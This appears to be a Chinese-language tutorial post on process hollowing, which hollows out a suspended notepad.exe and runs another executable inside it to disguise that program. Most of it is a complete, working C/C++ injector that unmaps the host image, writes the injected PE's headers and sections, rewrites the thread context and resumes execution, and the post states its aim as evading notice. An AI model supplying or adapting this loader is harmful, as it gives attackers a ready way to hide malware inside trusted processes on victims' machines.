进程注入之创建傀儡进程


傀儡进程:创建一个进程,然后将其虚拟地址里的内容掏空,注入想要注入的进程,以达到掩人耳目的效果
步骤:

1.以挂起的方式创建一个进程
2.卸载该进程的内存映射,即掏空该进程虚拟内存空间中的内容
3.获取该进程的CONTEXT上下文结构
4.将要注入的程序读入到内存中
5.在傀儡进程中申请足够的内存空间
6.手动将要注入的程序写入傀儡进程中所申请的内存空间
6.设置CONTEXT上下文的Eax为程序入口点,Ebx+8为程序基址
7.恢复线程

效果图如下

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include<windows.h>
#include<stdio.h>
char path[MAX_PATH]="c:\\windows\\system32\\notepad.exe";//被注入的傀儡进程
char path2[MAX_PATH]="c:\\Users\\Admin\\Desktop\\calc.exe";//注入的进程
int CreateProc(char *,PROCESS_INFORMATION * );//创建傀儡进程
int UnmapView(PROCESS_INFORMATION);//卸载傀儡进程内存映射
int Injection(PROCESS_INFORMATION);//实现注入
DWORD GetImageSize(char *);//获取SizeOfImage
DWORD GetEntryPoint();//获取OEP
DWORD GetImageBase();//获取基址

CONTEXT context;//定义线程上下文结构
HANDLE hfile;//要注入的文件的句柄
char * pBuffer;//将文件读入内存的指针
void main()
{
PROCESS_INFORMATION pi;
if(!CreateProc(path,&pi))//创建傀儡进程
return;
if(UnmapView(pi)!=0)//卸载映射
return;
if(Injection(pi)==0)//实现注入
return;
printf("INJECTION SUCCESS");
system("pause");

}
int CreateProc(char * path,PROCESS_INFORMATION * pi)
{
STARTUPINFOA si;
ZeroMemory(&si,sizeof(si));//初始化为0
si.cb=sizeof(si);
ZeroMemory(pi,sizeof(pi));
return CreateProcessA(path,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,pi);//以挂起的方式创建进程
}
int UnmapView(PROCESS_INFORMATION pi)
{
typedef NTSTATUS (WINAPI *ZwUnmapViewOfSection)(HANDLE,LPVOID);//定义函数
ZwUnmapViewOfSection UnmapViewOfSection = (ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"ZwUnmapViewOfSection");//获取函数基址
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread,&context);//获取线程上下文
DWORD base;
ReadProcessMemory(pi.hProcess,(LPVOID)(context.Ebx+8),&base,sizeof(DWORD),NULL);//读取傀儡进程基址
return UnmapViewOfSection(pi.hProcess,(LPVOID)base);//卸载傀儡进程映射
}
int Injection(PROCESS_INFORMATION pi)
{
DWORD ImageSize = GetImageSize(path2);//获取要注入进程的ImageSize
DWORD ImageBase = GetImageBase();//获取IMageBase
context.Eax = (GetEntryPoint()+ImageBase);//获取要注入的进程的入口点,eax中保存着入口点
VirtualAllocEx(pi.hProcess,(LPVOID)ImageBase,ImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//在傀儡进程中申请要注入的进程所需要的空间大小,注意以注入的内容的ImageBase为基址,这样就不用修复重定位和IAT
if(!WriteProcessMemory(pi.hProcess,(LPVOID)ImageBase,pBuffer,PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->OptionalHeader.SizeOfHeaders,NULL))//将要注入的HEADER映射到傀儡进程
return 0;
PIMAGE_SECTION_HEADER psection =IMAGE_FIRST_SECTION(PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer));
for(int i=0;i<PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->FileHeader.NumberOfSections;i++)
{
if(!WriteProcessMemory(pi.hProcess,(LPVOID)(ImageBase+psection->VirtualAddress),pBuffer+psection->PointerToRawData,psection->SizeOfRawData,NULL))//将要注入的区块映射到傀儡进程
return 0;
++psection;
}
if(!WriteProcessMemory(pi.hProcess,(BYTE *)context.Ebx+8,&ImageBase,sizeof(DWORD),NULL))//将要注入的修改线程上下文中的ImageBase
return 0;
SetThreadContext(pi.hThread,&context);//设置修改后的线程上下文
ResumeThread(pi.hThread);//恢复线程
return 1;
}
DWORD GetImageSize(char *path)//读入文件到内存
{
hfile = CreateFileA(path2,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开要注入的文件
if(hfile == INVALID_HANDLE_VALUE)
exit(0);
DWORD filesize = GetFileSize(hfile,NULL);
pBuffer = new char[filesize];
ReadFile(hfile,pBuffer,filesize,&filesize,NULL);
PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
if(pDosHeader->e_magic!=0x5A4D)
exit(0);
PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
return pNtHeaders->OptionalHeader.SizeOfImage;//遍历PE结构拿到SizeOfImage
}
DWORD GetEntryPoint()
{
PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
if(pDosHeader->e_magic!=0x5A4D)
exit(0);
PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader;
return OptionalHeader->AddressOfEntryPoint;//遍历PE结构拿到AddressOfEntryPoint
}
DWORD GetImageBase()
{
PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader;
return OptionalHeader->ImageBase;//从PE结构找到ImageBase

}